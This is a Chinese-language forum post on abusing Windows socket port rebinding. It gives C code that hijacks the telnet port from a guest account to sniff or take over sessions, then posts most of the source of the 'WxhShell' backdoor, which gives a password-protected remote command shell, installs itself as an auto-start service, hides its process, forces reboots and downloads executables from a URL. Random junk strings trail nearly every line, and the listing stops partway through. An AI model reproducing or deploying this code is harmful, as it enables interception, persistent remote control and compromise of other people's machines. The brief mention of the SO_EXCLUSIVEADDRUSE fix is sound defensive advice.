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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3g4=as4w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]6M<c[H>  
oW^x=pS9  
  saddr.sin_family = AF_INET; oZ*?Uh*  
\=WPJm`p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !!Ww#x~k$[  
^gcB+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bdWdvd:  
48 wt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %JBLp xnq  
ta{24{?M\  
  这意味着什么?意味着可以进行如下的攻击: (H uvo9  
fJ8>nOh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q`*U U82!  
\C$e+qb~{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^>an4UJ t  
B]tj0FB`-*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /!0&b?  
`T*Y1@FV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   x(HHy,  
cRs.@U\{R\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 </;e$fh`  
0s-K oz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .T7CMkYt  
zd%f5L('  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xy:Mb =r  
L'Cd` .yVO  
  #include A4,%l\di<  
  #include %!t9)pNc  
  #include #~'d Y\&  
  #include    ]D;*2Lw4&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d(|?gN^  
  int main() ,G0"T~  
  { wKi#5k2  
  WORD wVersionRequested; ^S`hKv&87  
  DWORD ret; ZY8.p  
  WSADATA wsaData; O^!ds  
  BOOL val; C:No ^nH>  
  SOCKADDR_IN saddr; =-Hhm($n  
  SOCKADDR_IN scaddr; .I~:j`K6  
  int err; ?<jWEz=  
  SOCKET s; w=fWW^>bP  
  SOCKET sc; 2z{B  
  int caddsize; >bWpj8Kv  
  HANDLE mt; 4AEw[(t  
  DWORD tid;   \bT0\ (Js\  
  wVersionRequested = MAKEWORD( 2, 2 ); }*bp4<|  
  err = WSAStartup( wVersionRequested, &wsaData ); )w4U]inJ$"  
  if ( err != 0 ) { kk`K;`[tB  
  printf("error!WSAStartup failed!\n"); T(u; <}e@[  
  return -1; Lp-$Ie  
  } &ic'!h"  
  saddr.sin_family = AF_INET; sxr,] @  
   K 3\a~_0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +%TgX&a  
4v>SXch  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gw"SKp!]  
  saddr.sin_port = htons(23); w-JWMgY8w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 47(_5PFb#  
  { Y `8)`  
  printf("error!socket failed!\n"); jR}EBaI}  
  return -1; /1Gmga5  
  } m19\H  
  val = TRUE; c/88|k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W#!AZ!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d:iJUVpr  
  { U;iCH  
  printf("error!setsockopt failed!\n"); I`oJOLV  
  return -1; g"" 1\rc=  
  } :ILpf+`yY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f|(9+~K/7&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Il4]1d|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J>#hu3&UOQ  
^U,iDK_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7*{l\^ism;  
  { o5J6Xi0+  
  ret=GetLastError(); KWDH 35  
  printf("error!bind failed!\n"); muXP5MO  
  return -1; 6p }a!  
  } +x{o  
  listen(s,2); nGWy4rY2S  
  while(1) F(.`@OO  
  { dH5*%  
  caddsize = sizeof(scaddr); syLdm3d|  
  //接受连接请求 <gi~:%T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3.Mpd  
  if(sc!=INVALID_SOCKET) cvy 5|;-u  
  { ]#4kqj}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q !9;JrX  
  if(mt==NULL) Sr Nc  
  { s@&3;{F6D  
  printf("Thread Creat Failed!\n"); VDOC>  
  break; ,j>FC j>  
  } } Ifa5Lq)  
  } Z[VrRT,\c  
  CloseHandle(mt); B.4e4%BBS  
  } }%}$h2:  
  closesocket(s); o|d:rp!^  
  WSACleanup(); ~q+AAWL  
  return 0; UTE6U6  
  }   4jDi3MMU9  
  DWORD WINAPI ClientThread(LPVOID lpParam) [Y!HQ9^LEp  
  { qJs_ahy(  
  SOCKET ss = (SOCKET)lpParam; TU)Pi.Aa  
  SOCKET sc; @su<_m6'  
  unsigned char buf[4096]; qbSI98r w  
  SOCKADDR_IN saddr; 7L/LlO/  
  long num; 3pML+Y|ij  
  DWORD val; |LJv*  
  DWORD ret; Z1 )1s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BZhf/{h[@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aF*KY<w  
  saddr.sin_family = AF_INET; t/55tL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e_RLKFv7  
  saddr.sin_port = htons(23); W>f q 9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \9"   
  { KuBN_bd  
  printf("error!socket failed!\n"); 4'3do>!  
  return -1; loRT+u$&  
  } H<_BnT #  
  val = 100; dbn9t7'{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L\0;)eJ#M  
  {  N>ncv  
  ret = GetLastError(); w>#{Nl7gz  
  return -1; _y>mmE   
  } #1Zqq([@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T_t5Tg~i[N  
  { aQ!QrTua-  
  ret = GetLastError(); 7LEB ,bU  
  return -1; 9mE6Cp.Wv  
  } LSewMj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pK`1pfih  
  { W X"iDz.  
  printf("error!socket connect failed!\n"); r<'ni  
  closesocket(sc); G47(LE"2b  
  closesocket(ss); !8g419Yg  
  return -1; hcn $uyP  
  } /my5s\;s|z  
  while(1) ')R+Z/hG.  
  { w8=&rzr8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vn&{yCm3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cp1-eR_&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /80H.|8O  
  num = recv(ss,buf,4096,0); ]MD,{T9l\>  
  if(num>0) zM+4<k_dH]  
  send(sc,buf,num,0); LZ#=Ks  
  else if(num==0) pbCj ^  
  break; {6 #Qm7s-  
  num = recv(sc,buf,4096,0); j1zrjhXI  
  if(num>0) jY;T:C-T  
  send(ss,buf,num,0); Wd`*<+t]  
  else if(num==0) cNbH:r"Ay  
  break; oW}nr<G{<  
  } } 6 ,m2u  
  closesocket(ss); n[S-bzU^t  
  closesocket(sc); \;XDPC j  
  return 0 ; VSx9aVPkC  
  } Q};n%&n&  
fe!eZiE  
'/OcJVSR  
========================================================== J\@|c.ws  
4nsc`Hu  
下边附上一个代码,,WXhSHELL p9>{X\eT:  
^fiJxU  
========================================================== GLO%>&  
y+\kZIqX  
#include "stdafx.h" ]z5kYU&  
8H'ybfed  
#include <stdio.h> 3_bE12  
#include <string.h> ?F6L,  
#include <windows.h> }_/]f!]  
#include <winsock2.h> D`|8Og  
#include <winsvc.h> $e~MKLd  
#include <urlmon.h> A%[e<vj9  
reQr=OAez  
#pragma comment (lib, "Ws2_32.lib") -F. c<@*E  
#pragma comment (lib, "urlmon.lib") J&2 J6Eq  
qX[{_$^Q  
#define MAX_USER   100 // 最大客户端连接数 Y/x>wNW  
#define BUF_SOCK   200 // sock buffer pV8_i7\  
#define KEY_BUFF   255 // 输入 buffer zq6)jHfq.  
9^L{)t>  
#define REBOOT     0   // 重启 z @g%9 |U  
#define SHUTDOWN   1   // 关机 &k@\k<2Ia  
XE>w&  
#define DEF_PORT   5000 // 监听端口 ~'V&[]nh8  
0 k.\o"y  
#define REG_LEN     16   // 注册表键长度 A"e4w?  
#define SVC_LEN     80   // NT服务名长度 +>&i]x(b  
YdZ9##IU3  
// 从dll定义API #<LJns\t   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?gsPHPUS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rp '^]Zx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )3IUKz%\6p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k vpkWD;  
4U8N7  
// wxhshell配置信息 uTdx`>M,O  
struct WSCFG { GE8.{P  
  int ws_port;         // 监听端口 u`.3\Geh  
  char ws_passstr[REG_LEN]; // 口令 DPlDuUOd  
  int ws_autoins;       // 安装标记, 1=yes 0=no jY2mn".N  
  char ws_regname[REG_LEN]; // 注册表键名 z`qb>Y"xf3  
  char ws_svcname[REG_LEN]; // 服务名 Gx7bV}&PN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UX2@eyejQ7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V3% >TNp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S:K$fFcJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BTzBT%mP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1{ H=The  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b'ZzDYN  
O$nW  
}; /F$E)qN7n  
<~*[OwN  
// default Wxhshell configuration hj=qWGRgI  
struct WSCFG wscfg={DEF_PORT, f\rE{%  
    "xuhuanlingzhe", ;reBJk  
    1, J-|&[-Z  
    "Wxhshell", yq?\.~ax  
    "Wxhshell", Q>q-6/|UX  
            "WxhShell Service", R XCjYzt  
    "Wrsky Windows CmdShell Service", #bJp)&LO  
    "Please Input Your Password: ", .=)[S5.BVq  
  1, abAw#XQ8  
  "http://www.wrsky.com/wxhshell.exe", RWRqu }a  
  "Wxhshell.exe" sf0\#Q  
    }; VKtlAfXy~  
b^STegz  
// 消息定义模块 YQ@2p?4m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p"FWAC!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EKD#s,(V*X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !F:mD ZeY  
char *msg_ws_ext="\n\rExit."; A^E 6)A=  
char *msg_ws_end="\n\rQuit."; Gshy$'_e  
char *msg_ws_boot="\n\rReboot..."; EJP]E)  
char *msg_ws_poff="\n\rShutdown..."; '6kD6o_p1  
char *msg_ws_down="\n\rSave to "; Rt5,/Q0  
i)]f0F  
char *msg_ws_err="\n\rErr!"; oiIl\#C  
char *msg_ws_ok="\n\rOK!"; VJ8'T"^Hf  
ny%$BQM=  
char ExeFile[MAX_PATH]; (j~T7og  
int nUser = 0; ;"2VU"  
HANDLE handles[MAX_USER]; VP~(;H5%  
int OsIsNt; !7f,gvk  
mrq,kwM  
SERVICE_STATUS       serviceStatus; joDqv,iW8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `M*jrkM]x  
op@=0d??  
// 函数声明 g${JdxR:  
int Install(void); KYZ#.f@  
int Uninstall(void); @tJ4^<`P{  
int DownloadFile(char *sURL, SOCKET wsh); ')}itS8  
int Boot(int flag); {+ Ibi{  
void HideProc(void); 0~EGrEt  
int GetOsVer(void); E]v]fy"  
int Wxhshell(SOCKET wsl); /N({"G'  
void TalkWithClient(void *cs); ySB0"bl  
int CmdShell(SOCKET sock); w=CzPNRHH!  
int StartFromService(void); p>O/H1US;  
int StartWxhshell(LPSTR lpCmdLine); qDTdYf  
D66NF;7q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *T#^|<.XG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oY5`r)C7  
$bD`B'5  
// 数据结构和表定义 [mv!r-=  
SERVICE_TABLE_ENTRY DispatchTable[] = 0VrsbkS  
{ {n&n^`Em  
{wscfg.ws_svcname, NTServiceMain}, Z)IF3{*  
{NULL, NULL} D)bL;h  
}; IRdR3X56  
6O/c%1VHA3  
// 自我安装 )Fp$ *]|  
int Install(void) S8B?uU  
{ ZqdoYU'  
  char svExeFile[MAX_PATH]; s_}6#;  
  HKEY key; ZPY&q&R  
  strcpy(svExeFile,ExeFile); : 5['V#(o  
u;]xAr1  
// 如果是win9x系统,修改注册表设为自启动 `a:3S@n(}  
if(!OsIsNt) { k$ T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;X a N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AAs&P+;  
  RegCloseKey(key); ByuBZ!m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ar\ K8mj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *7-rm  
  RegCloseKey(key); jV9oTH-  
  return 0; qp)Wt6 k?  
    } BVj(Q}f8  
  } liG|#ny{  
}  sa&`CEa  
else { xkw=os  
u}%6=V  
// 如果是NT以上系统,安装为系统服务 !Vg=l[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3z, Ci$[  
if (schSCManager!=0) $qr6LIKGw  
{ ZjMnGRP  
  SC_HANDLE schService = CreateService |` ?&  
  ( {;E6jw@  
  schSCManager, A^p{Cq@E  
  wscfg.ws_svcname, 9gdK&/ulR  
  wscfg.ws_svcdisp, (X Oz0.W  
  SERVICE_ALL_ACCESS, y.I&x#(^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f1v4h[)-  
  SERVICE_AUTO_START, UPP"-`t  
  SERVICE_ERROR_NORMAL, #qmsZHd}b  
  svExeFile, SE43C %hv  
  NULL, fN&uat7  
  NULL, ~b m'i%$k  
  NULL, TTFs|T6`q  
  NULL, ;gZ/i93:Q  
  NULL GB^`A  
  ); VH~YwO!x  
  if (schService!=0) :F@Uq<~(  
  { 2IE\O 8b  
  CloseServiceHandle(schService); YvcV801Go  
  CloseServiceHandle(schSCManager); 4xq|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \y:48zd  
  strcat(svExeFile,wscfg.ws_svcname); "oNl!<ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UKZ )Boo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z6l'v~\  
  RegCloseKey(key); 8PH4v\tJEK  
  return 0; ;Vc|3  
    } In?#?:Q@&  
  } pqb`g@  
  CloseServiceHandle(schSCManager); |,5|ZpgL  
} oQ,<Yx%E3  
} v*qbzW`  
-aVC`  
return 1; jwAYlnQ^EM  
} wBwTJCX  
<qpzs@  
// 自我卸载 R3U|{vgl  
int Uninstall(void) @!'}=?`  
{ 3(\D.Z  
  HKEY key; @y~kQ5k  
8 /t';  
if(!OsIsNt) { }mK,Bi?bj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^g|cRI_"  
  RegDeleteValue(key,wscfg.ws_regname); }zf!mlk  
  RegCloseKey(key); &mmaoWR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5qW>#pTFVV  
  RegDeleteValue(key,wscfg.ws_regname); rIJPgF  
  RegCloseKey(key); UWqD)6  
  return 0; A]5];c  
  } YS){ N=g&'  
} Y1I)w^}:  
} A]'jsv!+  
else { Wh| T3&  
/z4c>)fV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S} OO)  
if (schSCManager!=0) dd<l;4(  
{ ;aW k-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r *6S1bW  
  if (schService!=0) (g/A uL  
  { 5|*`} ;/y  
  if(DeleteService(schService)!=0) { N'9T*&o+  
  CloseServiceHandle(schService); z8awND  
  CloseServiceHandle(schSCManager); ;*<R~HJt  
  return 0; uO eal^uS  
  } p> >H$t  
  CloseServiceHandle(schService); RU4X#gP4Vh  
  } <>9!oOa  
  CloseServiceHandle(schSCManager); 1u7D:h>#  
} OVDuF&0  
} 65qqs|&w;[  
_Iav2= 0Wi  
return 1; >~rlnRX  
} ERIMz ,  
th[v"qD9G  
// 从指定url下载文件 p? o[+L<  
int DownloadFile(char *sURL, SOCKET wsh) k:run2K  
{ ;z.niX.fx  
  HRESULT hr; y42 Cg  
char seps[]= "/";  jK]1X8  
char *token; 2{63:f1c`'  
char *file; 0jlM~H  
char myURL[MAX_PATH]; n.2:fk  
char myFILE[MAX_PATH]; j\~,Gtn>Z  
=FhP$r*  
strcpy(myURL,sURL); m","m  
  token=strtok(myURL,seps); jL^@;"/XhC  
  while(token!=NULL) czD" mI!  
  { 2I}pX9  
    file=token; ,7Hyrx`  
  token=strtok(NULL,seps); <n]PD;.4  
  } v;o1c44;  
k Alx m{  
GetCurrentDirectory(MAX_PATH,myFILE); }rfikm  
strcat(myFILE, "\\"); "Mj#P9  
strcat(myFILE, file); CL1*pL  
  send(wsh,myFILE,strlen(myFILE),0); |*NZ^6`@  
send(wsh,"...",3,0); )/>BgXwH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sb{K%xi%  
  if(hr==S_OK) zG6l8%q'UE  
return 0; !9_(y~g{N  
else ftxL-7y%  
return 1; 4-x<^ ev=  
b/:wpy+9Z  
} b~,e(D9DG  
196a~xNV  
// 系统电源模块 d'ZNp2L  
int Boot(int flag) }`<&l  
{ F/5G~17  
  HANDLE hToken; Mg`!tFe3  
  TOKEN_PRIVILEGES tkp; Dc-K08c  
.5G`Y  
  if(OsIsNt) { jjj<B'zt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F&czD;F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :IS?si5|  
    tkp.PrivilegeCount = 1; p  lnH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +mVAmG@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~?ezd0  
if(flag==REBOOT) { 5N|LT8P}Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -[-oz0`Sl{  
  return 0; yqq1a o  
} ewk7:zS/?  
else { vw2E$ya  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .<`)`:n+B  
  return 0; 5U47 5&  
} k9rws  
  } HD=F2p  
  else { +zMPkbP6  
if(flag==REBOOT) { IHO*%3mA/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bgm8IK)6  
  return 0; ~T RC-H  
} uH9Vj<E$K  
else { O0qG 6a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [G|.  
  return 0; ``WTg4C(Y  
} '2r  
} <x^$Fu  
Z?'CS|u d  
return 1; sq_>^z3T  
} c]|vg=W  
n;Oe-+oSC  
// win9x进程隐藏模块 5Z!$?J4Rl  
void HideProc(void) nd8<*ru$  
{ X#&5?oq`  
5eori8gr7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r V%6 8x9  
  if ( hKernel != NULL ) _R ii19k  
  { k-|g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ =hg^j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >+dS PI  
    FreeLibrary(hKernel); et 1HbX  
  } kBR=a%kG  
EE  1D>I  
return; ;]-08lzO<4  
} dP8qP_77A~  
kT@ITA22  
// 获取操作系统版本 dA h cA.  
int GetOsVer(void) $k\bP9  
{ vTK%8qoZ  
  OSVERSIONINFO winfo; k2D*`\ D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tw$EwNI[  
  GetVersionEx(&winfo); J=3{<Xl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4P3RRS  
  return 1; Pw<?Dw]m  
  else ~DK.Y   
  return 0; x *I'Ar  
} 0(y*EJA$  
U7x  
// 客户端句柄模块 7p.8{zQ*  
int Wxhshell(SOCKET wsl) lubsLI  
{ #EzhtuHxn  
  SOCKET wsh; %]LoR$|Y  
  struct sockaddr_in client; L>14=Pr^(  
  DWORD myID; Z2]0brV  
mKe6rEUs|  
  while(nUser<MAX_USER) =T[P  
{ daKZ*B|  
  int nSize=sizeof(client); gtuSJ+up  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n{4iW_/D  
  if(wsh==INVALID_SOCKET) return 1; zq</(5H  
]"T157F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fYP,V0P  
if(handles[nUser]==0) fF0K].  
  closesocket(wsh); ' bl9fO4v  
else ;I*t5{  
  nUser++; SSF:PTeG>  
  } i`sZP#h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h2zSOY{su  
LG,?,%_s  
  return 0; |-=-/u1  
}  ,h^6y  
QIkFX.^  
// 关闭 socket gV@xu)l  
void CloseIt(SOCKET wsh) aftt^h  
{ \;0pjxq=  
closesocket(wsh); F\JS?zt2  
nUser--; %DiQTg7V,  
ExitThread(0); i 7]o[  
} EcHZ mf  
I'P|:XKI  
// 客户端请求句柄 _K9PA[m5 ~  
void TalkWithClient(void *cs) 3J"`mQ  
{ uN<=v&]q  
[s^p P2  
  SOCKET wsh=(SOCKET)cs; /1LN\Eu  
  char pwd[SVC_LEN]; ]  & ]G  
  char cmd[KEY_BUFF]; @TALZk'%  
char chr[1]; tQzbYzGb7  
int i,j; @M\JzV4 A[  
C,W@C  
  while (nUser < MAX_USER) { c:K/0zY  
zdJPMNHg  
if(wscfg.ws_passstr) { Nt8"6k_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ *CXXp`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c_qox  
  //ZeroMemory(pwd,KEY_BUFF); )$^xbC#j`3  
      i=0; 3/vtx9D  
  while(i<SVC_LEN) { \/1~5mQ+  
2tK~]0x  
  // 设置超时 z\tY A  
  fd_set FdRead; Q+Nnj(AQY  
  struct timeval TimeOut; @~2k5pa  
  FD_ZERO(&FdRead); AIOGa<^  
  FD_SET(wsh,&FdRead); @] .s^ss9_  
  TimeOut.tv_sec=8; b$H bo;_   
  TimeOut.tv_usec=0; KN_n:`cH{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g=D]=&H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M{p6&eg  
M %zf?>])  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +iN!$zF5]  
  pwd=chr[0]; DH\Ox>b=  
  if(chr[0]==0xd || chr[0]==0xa) { 9'p| [?]v  
  pwd=0; aN"YEL>w  
  break; LeN }Q  
  } TgV-U  
  i++; ?5">50  
    } \_.'/<aQ  
mL1ZSX o!  
  // 如果是非法用户,关闭 socket 1R-0b{w[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1W*Qc_5 v1  
} ]Yt3@ug_f  
gs1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |6-9vU!LK?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 60~*$`  
/TbJCZ  
while(1) { bzpi7LKN  
$]?pAqU\  
  ZeroMemory(cmd,KEY_BUFF); 27gHgz}}  
0*:n<T9  
      // 自动支持客户端 telnet标准   tz65Tn_M  
  j=0; #p=+RTZ<  
  while(j<KEY_BUFF) { %+/v")8+?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1<x5{/CZ  
  cmd[j]=chr[0]; wa[J\lW  
  if(chr[0]==0xa || chr[0]==0xd) { N/-(~r[  
  cmd[j]=0; CPa+?__B  
  break; KUX6n(u  
  } ~C 3 Y/}  
  j++; +q2\3REzx  
    } MV<)qa T  
VKXi*F9  
  // 下载文件 2 br>{^T  
  if(strstr(cmd,"http://")) { KX x+J}n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8u[.s`^  
  if(DownloadFile(cmd,wsh)) b7xOm"X,N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >*/ |t L  
  else f(}&8~&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \W_ Dz*N  
  } ++w{)Io Z  
  else {  `&a8Wv  
aU +uPP  
    switch(cmd[0]) { \zVp8MMf  
  eiOAbO#U  
  // 帮助 6/QWzw.0c  
  case '?': { hDJ+Rk@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m q<:^  
    break; 56."&0  
  } ^38k xwh  
  // 安装 9&kY>M>z0  
  case 'i': { :1'1 n  
    if(Install()) x2~fc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r_ 9"^Er  
    else zGO_S\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;,/G*`81B  
    break; 5-a^Frmg#"  
    } mMZ=9 ?m  
  // 卸载 WZA1nzRc  
  case 'r': { k"dE?v\cG  
    if(Uninstall()) iw(`7(*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8Ewl|"N:u  
    else S]ndnxy"b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $m.'d*e5  
    break; z xv y&  
    } k?pNmKVJM  
  // 显示 wxhshell 所在路径 K:4 G(?w  
  case 'p': { S-6i5H"B&  
    char svExeFile[MAX_PATH]; |a1zJ_t4  
    strcpy(svExeFile,"\n\r"); C>l (4*S  
      strcat(svExeFile,ExeFile); ]w)uo4<^J  
        send(wsh,svExeFile,strlen(svExeFile),0); (s1iYK  
    break; F":dS-u&L  
    } 1:h(8%H@"  
  // 重启 y}QqS/  
  case 'b': { _n*gj-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '+|uv7|+v  
    if(Boot(REBOOT)) <+ <o X"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ bvWqMa  
    else { {dl@ #T u  
    closesocket(wsh); EA:_PBZ  
    ExitThread(0); s0Y7`uD^  
    } 4mGRk)hk:>  
    break; ,({% t  
    } IOrYm  
  // 关机 iee`Yg!EOH  
  case 'd': { Q>=/u-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 48GaZ@v  
    if(Boot(SHUTDOWN)) U$ZbBVa`~  
